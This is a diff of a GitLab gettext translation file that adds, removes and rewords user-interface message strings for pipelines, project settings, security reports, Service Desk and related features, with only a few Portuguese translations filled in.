msgid "PackageRegistry|yarn command"
msgstr ""
-msgid "PackageType|Composer"
-msgstr ""
-
-msgid "PackageType|Conan"
-msgstr ""
-
-msgid "PackageType|Generic"
-msgstr ""
-
-msgid "PackageType|Maven"
-msgstr ""
-
-msgid "PackageType|NuGet"
-msgstr ""
-
-msgid "PackageType|PyPI"
-msgstr ""
-
-msgid "PackageType|npm"
-msgstr ""
-
msgid "Packages"
msgstr ""
@@ -21974,10 +22517,19 @@ msgstr ""
msgid "PerformanceBar|SQL queries"
msgstr ""
+msgid "PerformanceBar|Sort by duration"
+msgstr ""
+
+msgid "PerformanceBar|Sort chronologically"
+msgstr ""
+
msgid "PerformanceBar|Stats"
msgstr ""
-msgid "PerformanceBar|trace"
+msgid "PerformanceBar|Total duration"
+msgstr ""
+
+msgid "PerformanceBar|Trace"
msgstr ""
msgid "Permissions"
@@ -22058,7 +22610,7 @@ msgstr ""
msgid "PipelineCharts|An unknown error occurred while processing CI/CD analytics."
msgstr ""
-msgid "PipelineCharts|CI / CD Analytics"
+msgid "PipelineCharts|CI/CD Analytics"
msgstr ""
msgid "PipelineCharts|Failed:"
@@ -22307,9 +22859,6 @@ msgstr ""
msgid "Pipeline|Could not retrieve the pipeline status. For troubleshooting steps, read the %{linkStart}documentation%{linkEnd}."
msgstr ""
-msgid "Pipeline|Coverage"
-msgstr ""
-
msgid "Pipeline|Created"
msgstr ""
@@ -22328,6 +22877,9 @@ msgstr ""
msgid "Pipeline|Failed"
msgstr ""
+msgid "Pipeline|In progress"
+msgstr ""
+
msgid "Pipeline|Key"
msgstr ""
@@ -22403,6 +22955,18 @@ msgstr ""
msgid "Pipeline|Tag name"
msgstr ""
+msgid "Pipeline|Test coverage"
+msgstr ""
+
+msgid "Pipeline|This change will decrease the overall test coverage if merged."
+msgstr ""
+
+msgid "Pipeline|This change will increase the overall test coverage if merged."
+msgstr ""
+
+msgid "Pipeline|This change will not change the overall test coverage if merged."
+msgstr ""
+
msgid "Pipeline|Trigger author"
msgstr ""
@@ -22472,9 +23036,6 @@ msgstr ""
msgid "Please add a comment in the text area above"
msgstr "Por favor, adiciona um comentário na área de texto acima"
-msgid "Please add a list to your board first"
-msgstr ""
-
msgid "Please check the configuration file for this chart"
msgstr ""
@@ -22625,10 +23186,10 @@ msgstr ""
msgid "Please solve the captcha"
msgstr ""
-msgid "Please solve the reCAPTCHA"
+msgid "Please try again"
msgstr ""
-msgid "Please try again"
+msgid "Please try and refresh the page. If the problem persists please contact support."
msgstr ""
msgid "Please type %{phrase_code} to proceed or close this modal to cancel."
@@ -22664,6 +23225,18 @@ msgstr ""
msgid "Point to any links you like: documentation, built binaries, or other related materials. These can be internal or external links from your GitLab instance. Duplicate URLs are not allowed."
msgstr ""
+msgid "Policy project doesn't exist"
+msgstr ""
+
+msgid "Polling interval multiplier"
+msgstr ""
+
+msgid "Popularity"
+msgstr ""
+
+msgid "Postman collection"
+msgstr ""
+
msgid "Pre-defined push rules."
msgstr ""
@@ -22802,6 +23375,12 @@ msgstr ""
msgid "Prevent users from changing their profile name"
msgstr ""
+msgid "Prevent users from modifying MR approval rules in merge requests."
+msgstr ""
+
+msgid "Prevent users from modifying MR approval rules in projects and merge requests."
+msgstr ""
+
msgid "Prevent users from modifying MR approval rules."
msgstr ""
@@ -22826,6 +23405,9 @@ msgstr ""
msgid "Previous commit"
msgstr ""
+msgid "Previous design"
+msgstr ""
+
msgid "Previous file in diff"
msgstr ""
@@ -22850,6 +23432,9 @@ msgstr ""
msgid "Prioritized label"
msgstr ""
+msgid "Priority"
+msgstr ""
+
msgid "Private"
msgstr ""
@@ -23108,7 +23693,7 @@ msgstr ""
msgid "Profiles|Main settings"
msgstr ""
-msgid "Profiles|No file chosen"
+msgid "Profiles|No file chosen."
msgstr ""
msgid "Profiles|Notification email"
@@ -23498,6 +24083,9 @@ msgstr ""
msgid "ProjectOverview|You must sign in to star a project"
msgstr ""
+msgid "ProjectPage|Copy project ID"
+msgstr ""
+
msgid "ProjectPage|Project ID: %{project_id}"
msgstr ""
@@ -23513,49 +24101,82 @@ msgstr ""
msgid "ProjectService|%{service_title}: status on"
msgstr ""
-msgid "ProjectService|Event will be triggered by a push to the repository"
+msgid "ProjectService|Drone URL"
+msgstr ""
+
+msgid "ProjectService|Enter new API key"
+msgstr ""
+
+msgid "ProjectService|Enter new password"
msgstr ""
-msgid "ProjectService|Event will be triggered when a commit is created/updated"
+msgid "ProjectService|Event triggered when a commit is created or updated."
msgstr ""
-msgid "ProjectService|Event will be triggered when a confidential issue is created/updated/closed"
+msgid "ProjectService|Event triggered when a confidential issue is created, updated, or closed."
msgstr ""
-msgid "ProjectService|Event will be triggered when a deployment starts or finishes"
+msgid "ProjectService|Event triggered when a deployment starts or finishes."
msgstr ""
-msgid "ProjectService|Event will be triggered when a merge request is created/updated/merged"
+msgid "ProjectService|Event triggered when a merge request is created, updated, or merged."
msgstr ""
-msgid "ProjectService|Event will be triggered when a new tag is pushed to the repository"
+msgid "ProjectService|Event triggered when a new tag is pushed to the repository."
msgstr ""
-msgid "ProjectService|Event will be triggered when a new, unique alert is recorded"
+msgid "ProjectService|Event triggered when a new, unique alert is recorded."
msgstr ""
-msgid "ProjectService|Event will be triggered when a pipeline status changes"
+msgid "ProjectService|Event triggered when a pipeline status changes."
msgstr ""
-msgid "ProjectService|Event will be triggered when a wiki page is created/updated"
+msgid "ProjectService|Event triggered when a wiki page is created or updated."
msgstr ""
-msgid "ProjectService|Event will be triggered when an issue is created/updated/closed"
+msgid "ProjectService|Event triggered when an issue is created, updated, or closed."
msgstr ""
-msgid "ProjectService|Event will be triggered when someone adds a comment"
+msgid "ProjectService|Event triggered when someone adds a comment on a confidential issue."
msgstr ""
-msgid "ProjectService|Event will be triggered when someone adds a comment on a confidential issue"
+msgid "ProjectService|Event triggered when someone adds a comment."
+msgstr ""
+
+msgid "ProjectService|Event triggered when someone pushes to the repository."
+msgstr ""
+
+msgid "ProjectService|Issue URL"
+msgstr ""
+
+msgid "ProjectService|Jenkins URL"
+msgstr ""
+
+msgid "ProjectService|Leave blank to use your current API key"
+msgstr ""
+
+msgid "ProjectService|Leave blank to use your current password"
+msgstr ""
+
+msgid "ProjectService|Mock service URL"
+msgstr ""
+
+msgid "ProjectService|New issue URL"
msgstr ""
msgid "ProjectService|Perform common operations on GitLab project: %{project_name}"
msgstr ""
-msgid "ProjectService|To set up this service:"
+msgid "ProjectService|TeamCity URL"
+msgstr ""
+
+msgid "ProjectService|To configure this integration, you should:"
msgstr ""
-msgid "ProjectSettings|Additional merge request capabilities that influence how and when merges will be performed"
+msgid "ProjectSettings|%{link_start}What are description templates?%{link_end}"
+msgstr ""
+
+msgid "ProjectSettings|Additional settings that influence how and when merges are done."
msgstr ""
msgid "ProjectSettings|All discussions must be resolved"
@@ -23609,25 +24230,28 @@ msgstr ""
msgid "ProjectSettings|Customize this project's badges."
msgstr ""
+msgid "ProjectSettings|Determine what happens to the commit history when you merge a merge request."
+msgstr ""
+
msgid "ProjectSettings|Disable email notifications"
msgstr ""
msgid "ProjectSettings|Do not allow"
msgstr ""
-msgid "ProjectSettings|Enable 'Delete source branch' option by default"
+msgid "ProjectSettings|Enable \"Delete source branch\" option by default"
msgstr ""
-msgid "ProjectSettings|Enable merge trains."
+msgid "ProjectSettings|Enable merge trains"
msgstr ""
-msgid "ProjectSettings|Enable merged results pipelines."
+msgid "ProjectSettings|Enable merged results pipelines"
msgstr ""
msgid "ProjectSettings|Encourage"
msgstr ""
-msgid "ProjectSettings|Every merge creates a merge commit"
+msgid "ProjectSettings|Every merge creates a merge commit."
msgstr ""
msgid "ProjectSettings|Every project can have its own space to store its Docker images"
@@ -23639,7 +24263,7 @@ msgstr ""
msgid "ProjectSettings|Everyone"
msgstr ""
-msgid "ProjectSettings|Existing merge requests and protected branches are not affected"
+msgid "ProjectSettings|Existing merge requests and protected branches are not affected."
msgstr ""
msgid "ProjectSettings|Failed to protect the tag"
@@ -23651,7 +24275,7 @@ msgstr ""
msgid "ProjectSettings|Fast-forward merge"
msgstr ""
-msgid "ProjectSettings|Fast-forward merges only"
+msgid "ProjectSettings|Fast-forward merges only."
msgstr ""
msgid "ProjectSettings|Forks"
@@ -23663,10 +24287,10 @@ msgstr ""
msgid "ProjectSettings|Global"
msgstr ""
-msgid "ProjectSettings|If pipelines for merge requests are enabled in the CI/CD configuration file, pipelines validate the combined results of the source and target branches."
+msgid "ProjectSettings|Internal"
msgstr ""
-msgid "ProjectSettings|Internal"
+msgid "ProjectSettings|Introduces the risk of merging changes that do not pass the pipeline."
msgstr ""
msgid "ProjectSettings|Issues"
@@ -23699,10 +24323,13 @@ msgstr ""
msgid "ProjectSettings|Merge requests"
msgstr ""
+msgid "ProjectSettings|Merge requests approved for merge are queued, and pipelines validate the combined results of the source and target branches before merge. %{link_start}What are merge trains?%{link_end}"
+msgstr ""
+
msgid "ProjectSettings|Merge suggestions"
msgstr ""
-msgid "ProjectSettings|No merge commits are created"
+msgid "ProjectSettings|No merge commits are created."
msgstr ""
msgid "ProjectSettings|Note: the container registry is always visible when a project is public"
@@ -23726,15 +24353,9 @@ msgstr ""
msgid "ProjectSettings|Pages for project documentation."
msgstr ""
-msgid "ProjectSettings|Pipelines"
-msgstr ""
-
msgid "ProjectSettings|Pipelines must succeed"
msgstr ""
-msgid "ProjectSettings|Pipelines need to be configured to enable this feature."
-msgstr ""
-
msgid "ProjectSettings|Private"
msgstr ""
@@ -23765,7 +24386,7 @@ msgstr ""
msgid "ProjectSettings|Security & Compliance for this project"
msgstr ""
-msgid "ProjectSettings|Set the default behavior and availability of this option in merge requests. Changes made are also applied to existing merge requests."
+msgid "ProjectSettings|Set the default behavior of this option in merge requests. Changes to this are also applied to existing merge requests."
msgstr ""
msgid "ProjectSettings|Share code with others outside the project."
@@ -23774,7 +24395,7 @@ msgstr ""
msgid "ProjectSettings|Show default award emojis"
msgstr ""
-msgid "ProjectSettings|Show link to create/view merge request when pushing from the command line"
+msgid "ProjectSettings|Show link to create or view a merge request when pushing from the command line"
msgstr ""
msgid "ProjectSettings|Skipped pipelines are considered successful"
@@ -23795,16 +24416,13 @@ msgstr ""
msgid "ProjectSettings|Submit changes to be merged upstream."
msgstr ""
-msgid "ProjectSettings|The commit message used to apply merge request suggestions"
-msgstr ""
-
-msgid "ProjectSettings|The variables GitLab supports:"
+msgid "ProjectSettings|Supported variables:"
msgstr ""
-msgid "ProjectSettings|These checks must pass before merge requests can be merged"
+msgid "ProjectSettings|The commit message used when applying merge request suggestions. %{link_start}Learn more about suggestions.%{link_end}"
msgstr ""
-msgid "ProjectSettings|This introduces the risk of merging changes that will not pass the pipeline."
+msgid "ProjectSettings|These checks must pass before merge requests can be merged."
msgstr ""
msgid "ProjectSettings|This setting is applied on the server level and can be overridden by an admin."
@@ -23816,12 +24434,15 @@ msgstr ""
msgid "ProjectSettings|This setting will be applied to all projects unless overridden by an admin."
msgstr ""
-msgid "ProjectSettings|This will dictate the commit history when you merge a merge request"
+msgid "ProjectSettings|To enable this feature, configure pipelines. %{link_start}How to configure pipelines for merge requests?%{link_end}"
msgstr ""
msgid "ProjectSettings|Transfer project"
msgstr ""
+msgid "ProjectSettings|Used for every new merge request."
+msgstr ""
+
msgid "ProjectSettings|Users can copy the repository to a new project."
msgstr ""
@@ -23849,10 +24470,10 @@ msgstr ""
msgid "ProjectSettings|What are badges?"
msgstr ""
-msgid "ProjectSettings|When approved for merge, merge requests are queued and pipelines validate the combined results of the source and target branches before merge."
+msgid "ProjectSettings|When pipelines for merge requests are enabled in the CI/CD configuration file, pipelines validate the combined results of the source and target branches. %{link_start}How to configure pipelines for merge requests?%{link_end}"
msgstr ""
-msgid "ProjectSettings|When conflicts arise the user is given the option to rebase"
+msgid "ProjectSettings|When there is a merge conflict, the user is given the option to rebase."
msgstr ""
msgid "ProjectSettings|Wiki"
@@ -24386,6 +25007,15 @@ msgstr ""
msgid "ProtectedBranch|%{wildcards_link_start}Wildcards%{wildcards_link_end} such as %{code_tag_start}*-stable%{code_tag_end} or %{code_tag_start}production/*%{code_tag_end} are supported."
msgstr ""
+msgid "ProtectedBranch|Allow force push"
+msgstr ""
+
+msgid "ProtectedBranch|Allow force push for all users with push access."
+msgstr ""
+
+msgid "ProtectedBranch|Allow force push:"
+msgstr ""
+
msgid "ProtectedBranch|Allowed to merge"
msgstr ""
@@ -24407,7 +25037,7 @@ msgstr ""
msgid "ProtectedBranch|Code owner approval"
msgstr ""
-msgid "ProtectedBranch|Does not apply to users allowed to push."
+msgid "ProtectedBranch|Does not apply to users allowed to push. Optional sections are not enforced."
msgstr ""
msgid "ProtectedBranch|Protect"
@@ -24428,6 +25058,9 @@ msgstr ""
msgid "ProtectedBranch|There are currently no protected branches, protect a branch with the form above."
msgstr ""
+msgid "ProtectedBranch|Toggle allow force push"
+msgstr ""
+
msgid "ProtectedBranch|Toggle code owner approval"
msgstr ""
@@ -24602,7 +25235,7 @@ msgstr ""
msgid "PushRules|Restrict push operations for this project."
msgstr ""
-msgid "PushRules|Save Push Rules"
+msgid "PushRules|Save push rules"
msgstr ""
msgid "PushRules|Select push rules"
@@ -24791,7 +25424,7 @@ msgstr ""
msgid "Reduce this project’s visibility?"
msgstr ""
-msgid "Reference:"
+msgid "Reference"
msgstr ""
msgid "References"
@@ -24954,7 +25587,7 @@ msgstr ""
msgid "Releases are based on Git tags and mark specific points in a project's development history. They can contain information about the type of changes and can also deliver binaries, like compiled versions of your software."
msgstr ""
-msgid "Releases are based on Git tags. We recommend tags that use semantic versioning, for example %{codeStart}v1.0%{codeEnd}, %{codeStart}v2.0-pre%{codeEnd}."
+msgid "Releases are based on Git tags. We recommend tags that use semantic versioning, for example %{codeStart}v1.0.0%{codeEnd}, %{codeStart}v2.1.0-pre%{codeEnd}."
msgstr ""
msgid "Releases documentation"
@@ -24966,7 +25599,7 @@ msgstr ""
msgid "Release|Something went wrong while creating a new release"
msgstr ""
-msgid "Release|Something went wrong while getting the release details"
+msgid "Release|Something went wrong while getting the release details."
msgstr ""
msgid "Release|Something went wrong while saving the release details"
@@ -24990,6 +25623,9 @@ msgstr ""
msgid "Remove Zoom meeting"
msgstr ""
+msgid "Remove all approvals in a merge request when new commits are pushed to its source branch."
+msgstr ""
+
msgid "Remove all or specific assignee(s)"
msgstr ""
@@ -25038,9 +25674,6 @@ msgstr ""
msgid "Remove from batch"
msgstr ""
-msgid "Remove from board"
-msgstr ""
-
msgid "Remove from epic"
msgstr ""
@@ -25287,6 +25920,9 @@ msgstr ""
msgid "Reported %{timeAgo} by %{reportedBy}"
msgstr ""
+msgid "Reported by"
+msgstr ""
+
msgid "Reported by %{reporter}"
msgstr ""
@@ -25330,7 +25966,7 @@ msgstr ""
msgid "Reports|An error occurred while loading report"
msgstr ""
-msgid "Reports|Class"
+msgid "Reports|Base report parsing error:"
msgstr ""
msgid "Reports|Classname"
@@ -25352,6 +25988,12 @@ msgstr[1] ""
msgid "Reports|Failure"
msgstr ""
+msgid "Reports|Filename"
+msgstr ""
+
+msgid "Reports|Head report parsing error:"
+msgstr ""
+
msgid "Reports|Identifier"
msgstr ""
@@ -25478,6 +26120,9 @@ msgstr ""
msgid "Repository check was triggered."
msgstr ""
+msgid "Repository checks"
+msgstr ""
+
msgid "Repository cleanup"
msgstr ""
@@ -25574,6 +26219,9 @@ msgstr ""
msgid "Requests to these domain(s)/address(es) on the local network will be allowed when local requests from hooks and services are not allowed. IP ranges such as 1:0:0:0:0:0:0:0/124 or 127.0.0.0/28 are supported. Domain wildcards are not supported currently. Use comma, semicolon, or newline to separate multiple entries. The allowlist can hold a maximum of 1000 entries. Domains should use IDNA encoding. Ex: example.com, 192.168.1.1, 127.0.0.0/28, xn--itlab-j1a.com."
msgstr ""
+msgid "Require additional authentication for administrative tasks"
+msgstr ""
+
msgid "Require admin approval for new sign-ups"
msgstr ""
@@ -25882,7 +26530,10 @@ msgstr ""
msgid "Revoked project access token %{project_access_token_name}!"
msgstr ""
-msgid "RightSidebar|Issue email: %{copyText}"
+msgid "RightSidebar|Copy email address"
+msgstr ""
+
+msgid "RightSidebar|Issue email"
msgstr ""
msgid "RightSidebar|adding a"
@@ -26026,6 +26677,9 @@ msgstr ""
msgid "Runners|Revision"
msgstr ""
+msgid "Runners|Runner #%{runner_id}"
+msgstr ""
+
msgid "Runners|Shared"
msgstr ""
@@ -26059,9 +26713,6 @@ msgstr ""
msgid "Running"
msgstr ""
-msgid "Running…"
-msgstr ""
-
msgid "Runs a number of housekeeping tasks within the current repository, such as compressing file revisions and removing unreachable objects."
msgstr ""
@@ -26158,6 +26809,9 @@ msgstr ""
msgid "Save comment"
msgstr ""
+msgid "Save deploy freeze"
+msgstr ""
+
msgid "Save password"
msgstr ""
@@ -26176,6 +26830,9 @@ msgstr ""
msgid "Saving project."
msgstr ""
+msgid "Scan Policies"
+msgstr ""
+
msgid "Scanner"
msgstr ""
@@ -26200,9 +26857,6 @@ msgstr ""
msgid "Schedules to merge this merge request (%{strategy})."
msgstr ""
-msgid "Scheduling"
-msgstr ""
-
msgid "Scheduling Pipelines"
msgstr ""
@@ -26254,6 +26908,9 @@ msgstr ""
msgid "Search an environment spec"
msgstr ""
+msgid "Search assignees"
+msgstr ""
+
msgid "Search authors"
msgstr ""
@@ -26305,6 +26962,9 @@ msgstr ""
msgid "Search forks"
msgstr ""
+msgid "Search iterations"
+msgstr ""
+
msgid "Search labels"
msgstr ""
@@ -26314,6 +26974,9 @@ msgstr ""
msgid "Search milestones"
msgstr "Pesquisar objetivos"
+msgid "Search or create tag"
+msgstr ""
+
msgid "Search or filter results..."
msgstr ""
@@ -26519,6 +27182,9 @@ msgstr ""
msgid "SecurityApprovals|Requires approval for vulnerabilities of Critical, High, or Unknown severity. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
+msgid "SecurityConfiguration|%{featureName} merge request creation mutation failed"
+msgstr ""
+
msgid "SecurityConfiguration|An error occurred while creating the merge request."
msgstr ""
@@ -26594,13 +27260,19 @@ msgstr ""
msgid "SecurityConfiguration|You can quickly enable all security scanning tools by enabling %{linkStart}Auto DevOps%{linkEnd}."
msgstr ""
-msgid "SecurityReports|%{firstProject} and %{secondProject}"
+msgid "SecurityOrchestration|A security policy project can be used enforce policies for a given project, group, or instance. It allows you to speficy security policies that are important to you and enforce them with every commit."
msgstr ""
-msgid "SecurityReports|%{firstProject}, %{secondProject}, and %{rest}"
+msgid "SecurityOrchestration|Create a policy"
+msgstr ""
+
+msgid "SecurityOrchestration|Security policy project"
msgstr ""
-msgid "SecurityReports|Add a project to your dashboard"
+msgid "SecurityReports|%{firstProject} and %{secondProject}"
+msgstr ""
+
+msgid "SecurityReports|%{firstProject}, %{secondProject}, and %{rest}"
msgstr ""
msgid "SecurityReports|Add or remove projects to monitor in the security area. Projects included in this list will have their results displayed in the security dashboard and vulnerability report."
@@ -26609,10 +27281,10 @@ msgstr ""
msgid "SecurityReports|Add projects"
msgstr ""
-msgid "SecurityReports|Add projects to your group"
+msgid "SecurityReports|All"
msgstr ""
-msgid "SecurityReports|All"
+msgid "SecurityReports|Although it's rare to have no vulnerabilities, it can happen. Check your settings to make sure you've set up your dashboard correctly."
msgstr ""
msgid "SecurityReports|Change status"
@@ -26627,6 +27299,9 @@ msgstr ""
msgid "SecurityReports|Comment edited on '%{vulnerabilityName}'"
msgstr ""
+msgid "SecurityReports|Configure security testing"
+msgstr ""
+
msgid "SecurityReports|Create Jira issue"
msgstr ""
@@ -26684,16 +27359,28 @@ msgstr ""
msgid "SecurityReports|Learn more about setting up your dashboard"
msgstr ""
-msgid "SecurityReports|Monitor vulnerabilities in your code"
+msgid "SecurityReports|Manage and track vulnerabilities identified in projects within your group. Vulnerabilities in projects are shown here when security testing is configured."
msgstr ""
-msgid "SecurityReports|Monitored projects"
+msgid "SecurityReports|Manage and track vulnerabilities identified in your project. Vulnerabilities are shown here when security testing is configured."
msgstr ""
-msgid "SecurityReports|More info"
+msgid "SecurityReports|Manage and track vulnerabilities identified in your selected projects. Vulnerabilities for selected projects with security testing configured are shown here."
+msgstr ""
+
+msgid "SecurityReports|Monitor vulnerabilities in all of your projects"
msgstr ""
-msgid "SecurityReports|More information"
+msgid "SecurityReports|Monitor vulnerabilities in your group"
+msgstr ""
+
+msgid "SecurityReports|Monitor vulnerabilities in your project"
+msgstr ""
+
+msgid "SecurityReports|Monitored projects"
+msgstr ""
+
+msgid "SecurityReports|More info"
msgstr ""
msgid "SecurityReports|No activity"
@@ -26759,15 +27446,6 @@ msgstr ""
msgid "SecurityReports|Status"
msgstr ""
-msgid "SecurityReports|The security dashboard displays the latest security findings for projects you wish to monitor. Add projects to your group to view their vulnerabilities here."
-msgstr ""
-
-msgid "SecurityReports|The security dashboard displays the latest security findings for projects you wish to monitor. Select \"Edit dashboard\" to add and remove projects."
-msgstr ""
-
-msgid "SecurityReports|The security dashboard displays the latest security report. Use it to find and fix vulnerabilities."
-msgstr ""
-
msgid "SecurityReports|There was an error adding the comment."
msgstr ""
@@ -26819,9 +27497,6 @@ msgstr ""
msgid "SecurityReports|While it's rare to have no vulnerabilities for your pipeline, it can happen. In any event, we ask that you double check your settings to make sure all security scanning jobs have passed successfully."
msgstr ""
-msgid "SecurityReports|While it's rare to have no vulnerabilities, it can happen. In any event, we ask that you double check your settings to make sure you've set up your dashboard correctly."
-msgstr ""
-
msgid "SecurityReports|With issues"
msgstr ""
@@ -26831,9 +27506,6 @@ msgstr ""
msgid "SecurityReports|You must sign in as an authorized user to see this report"
msgstr ""
-msgid "Security|Policies"
-msgstr ""
-
msgid "See GitLab's %{password_policy_guidelines}"
msgstr ""
@@ -26870,6 +27542,9 @@ msgstr ""
msgid "Select Stack"
msgstr ""
+msgid "Select a branch"
+msgstr ""
+
msgid "Select a file from the left sidebar to begin editing. Afterwards, you'll be able to commit your changes."
msgstr ""
@@ -26879,7 +27554,7 @@ msgstr ""
msgid "Select a label"
msgstr ""
-msgid "Select a namespace to fork the project"
+msgid "Select a milestone"
msgstr ""
msgid "Select a new namespace"
@@ -26909,9 +27584,15 @@ msgstr ""
msgid "Select all"
msgstr ""
+msgid "Select an assignee"
+msgstr ""
+
msgid "Select an existing Kubernetes cluster or create a new one."
msgstr ""
+msgid "Select an iteration"
+msgstr ""
+
msgid "Select assignee"
msgstr ""
@@ -26966,9 +27647,6 @@ msgstr ""
msgid "Select projects"
msgstr ""
-msgid "Select required regulatory standard."
-msgstr ""
-
msgid "Select reviewer(s)"
msgstr ""
@@ -27062,6 +27740,9 @@ msgstr ""
msgid "SelfMonitoring|Self monitoring project has been successfully deleted."
msgstr ""
+msgid "Send"
+msgstr ""
+
msgid "Send a single email notification to Owners and Maintainers for new alerts."
msgstr ""
@@ -27200,19 +27881,43 @@ msgstr ""
msgid "Service Desk allows people to create issues in your GitLab instance without their own user account. It provides a unique email address for end users to create issues in a project. Replies can be sent either through the GitLab interface or by email. End users only see threads through email."
msgstr ""
-msgid "Service Desk is enabled but not yet active"
+msgid "Service Templates"
msgstr ""
-msgid "Service Desk is not enabled"
+msgid "Service URL"
msgstr ""
-msgid "Service Desk is not supported"
+msgid "ServiceDesk|Enable Service Desk"
msgstr ""
-msgid "Service Templates"
+msgid "ServiceDesk|For help setting up the Service Desk for your instance, please contact an administrator."
msgstr ""
-msgid "Service URL"
+msgid "ServiceDesk|Issues created from Service Desk emails appear here. Each comment becomes part of the email conversation."
+msgstr ""
+
+msgid "ServiceDesk|Issues created from Service Desk emails will appear here. Each comment becomes part of the email conversation."
+msgstr ""
+
+msgid "ServiceDesk|Service Desk is enabled but not yet active"
+msgstr ""
+
+msgid "ServiceDesk|Service Desk is not enabled"
+msgstr ""
+
+msgid "ServiceDesk|Service Desk is not supported"
+msgstr ""
+
+msgid "ServiceDesk|To activate Service Desk on this instance, an instance administrator must first set up incoming email."
+msgstr ""
+
+msgid "ServiceDesk|To enable Service Desk on this instance, an instance administrator must first set up incoming email."
+msgstr ""
+
+msgid "ServiceDesk|Use Service Desk to connect with your users and offer customer support through email right inside GitLab"
+msgstr ""
+
+msgid "ServiceDesk|Your users can send emails to this address:"
msgstr ""
msgid "Session ID"
@@ -27314,6 +28019,9 @@ msgstr ""
msgid "Set the milestone to %{milestone_reference}."
msgstr ""
+msgid "Set the number of necessary approvals and define a list of approvers needed for every merge request in a project."
+msgstr ""
+
msgid "Set the timeout in seconds to send a secondary node status to the primary and IPs allowed for the secondary nodes."
msgstr ""
@@ -27368,7 +28076,7 @@ msgstr ""
msgid "SetPasswordToCloneLink|set a password"
msgstr ""
-msgid "SetStatusModal|\"Busy\" will be shown next to your name"
+msgid "SetStatusModal|A busy indicator is shown next to your name and avatar."
msgstr ""
msgid "SetStatusModal|Add status emoji"
@@ -27380,6 +28088,9 @@ msgstr ""
msgid "SetStatusModal|Clear status"
msgstr ""
+msgid "SetStatusModal|Clear status after"
+msgstr ""
+
msgid "SetStatusModal|Edit status"
msgstr ""
@@ -27401,6 +28112,9 @@ msgstr ""
msgid "SetStatusModal|What's your status?"
msgstr ""
+msgid "SetStatusModal|Your status resets on %{date}."
+msgstr ""
+
msgid "Sets %{epic_ref} as parent epic."
msgstr ""
@@ -27606,9 +28320,15 @@ msgstr[1] ""
msgid "Showing %{limit} of %{total_count} issues. "
msgstr ""
+msgid "Showing %{pageSize} of %{total} %{issuableType}"
+msgstr ""
+
msgid "Showing %{pageSize} of %{total} issues"
msgstr ""
+msgid "Showing all epics"
+msgstr ""
+
msgid "Showing all issues"
msgstr ""
@@ -27627,6 +28347,9 @@ msgstr ""
msgid "Side-by-side"
msgstr ""
+msgid "Sidebar|%{name}: %{value}"
+msgstr ""
+
msgid "Sidebar|Assign health status"
msgstr ""
@@ -27867,6 +28590,9 @@ msgstr ""
msgid "Someone edited this merge request at the same time you did. Please refresh the page to see changes."
msgstr ""
+msgid "Someone edited this test case at the same time you did. The description has been updated and you will need to make your changes again."
+msgstr ""
+
msgid "Something went wrong"
msgstr ""
@@ -28545,13 +29271,13 @@ msgstr ""
msgid "Status: %{title}"
msgstr ""
-msgid "StatusPage|AWS Secret access key"
+msgid "StatusPage|AWS %{docsLink}"
msgstr ""
-msgid "StatusPage|AWS access key ID"
+msgid "StatusPage|AWS Secret access key"
msgstr ""
-msgid "StatusPage|AWS documentation"
+msgid "StatusPage|AWS access key ID"
msgstr ""
msgid "StatusPage|AWS region"
@@ -28566,9 +29292,6 @@ msgstr ""
msgid "StatusPage|Configure file storage settings to link issues in this project to an external status page."
msgstr ""
-msgid "StatusPage|For help with configuration, visit %{docsLink}"
-msgstr ""
-
msgid "StatusPage|S3 Bucket name"
msgstr ""
@@ -28581,7 +29304,7 @@ msgstr ""
msgid "StatusPage|Status page frontend documentation"
msgstr ""
-msgid "StatusPage|To publish incidents to an external status page, GitLab will store a JSON file in your Amazon S3 account in a location accessible to your external status page service. Make sure to also set up %{docsLink}"
+msgid "StatusPage|To publish incidents to an external status page, GitLab stores a JSON file in your Amazon S3 account at a location that your external status page service can access. Make sure to also set up %{docsLink}"
msgstr ""
msgid "StatusPage|configuration documentation"
@@ -28671,9 +29394,6 @@ msgstr ""
msgid "Submit"
msgstr ""
-msgid "Submit %{humanized_resource_name}"
-msgstr ""
-
msgid "Submit a review"
msgstr ""
@@ -28689,9 +29409,6 @@ msgstr ""
msgid "Submit feedback"
msgstr ""
-msgid "Submit issue"
-msgstr ""
-
msgid "Submit review"
msgstr ""
@@ -28749,9 +29466,6 @@ msgstr ""
msgid "SubscriptionTable|Add seats"
msgstr ""
-msgid "SubscriptionTable|An error occurred while loading billable members list"
-msgstr ""
-
msgid "SubscriptionTable|An error occurred while loading the subscription details."
msgstr ""
@@ -29377,6 +30091,11 @@ msgstr ""
msgid "Test coverage parsing"
msgstr ""
+msgid "Test coverage value for this pipeline was calculated by the coverage value of %d job."
+msgid_plural "Test coverage value for this pipeline was calculated by averaging the resulting coverage values of %d jobs."
+msgstr[0] ""
+msgstr[1] ""
+
msgid "Test coverage: %d hit"
msgid_plural "Test coverage: %d hits"
msgstr[0] ""
@@ -29534,9 +30253,6 @@ msgstr[1] ""
msgid "The Advanced Search in GitLab is a powerful search service that saves you time. Instead of creating duplicate code and wasting time, you can now search for code within other teams that can help your own project."
msgstr ""
-msgid "The CSV export will be created in the background. Once finished, it will be sent to %{strong_open}%{email}%{strong_close} in an attachment."
-msgstr ""
-
msgid "The Compliance Dashboard gives you the ability to see a group's merge request activity by providing a high-level view for all projects in the group."
msgstr ""
@@ -29609,6 +30325,9 @@ msgstr ""
msgid "The current user is not authorized to access the job log."
msgstr ""
+msgid "The data in this pipeline is too old to be rendered as a graph. Please check the Jobs tab to access historical data."
+msgstr ""
+
msgid "The data source is connected, but there is no data to display. %{documentationLink}"
msgstr ""
@@ -29636,6 +30355,9 @@ msgstr ""
msgid "The download link will expire in 24 hours."
msgstr ""
+msgid "The environment tier must be one of %{environment_tiers}."
+msgstr ""
+
msgid "The errors we encountered were:"
msgstr ""
@@ -29648,6 +30370,9 @@ msgstr ""
msgid "The file name should have a .yml extension"
msgstr ""
+msgid "The finding is not a vulnerability because it is part of a test or is test data."
+msgstr ""
+
msgid "The following %{user} can also merge into this branch: %{branch}"
msgstr ""
@@ -29710,6 +30435,9 @@ msgstr ""
msgid "The import will time out after %{timeout}. For repositories that take longer, use a clone/push combination."
msgstr ""
+msgid "The interval must be one of %{intervals}."
+msgstr ""
+
msgid "The invitation could not be accepted."
msgstr ""
@@ -29770,6 +30498,9 @@ msgstr ""
msgid "The merge request can now be merged."
msgstr ""
+msgid "The metric must be one of %{metrics}."
+msgstr ""
+
msgid "The name \"%{name}\" is already taken in this directory."
msgstr ""
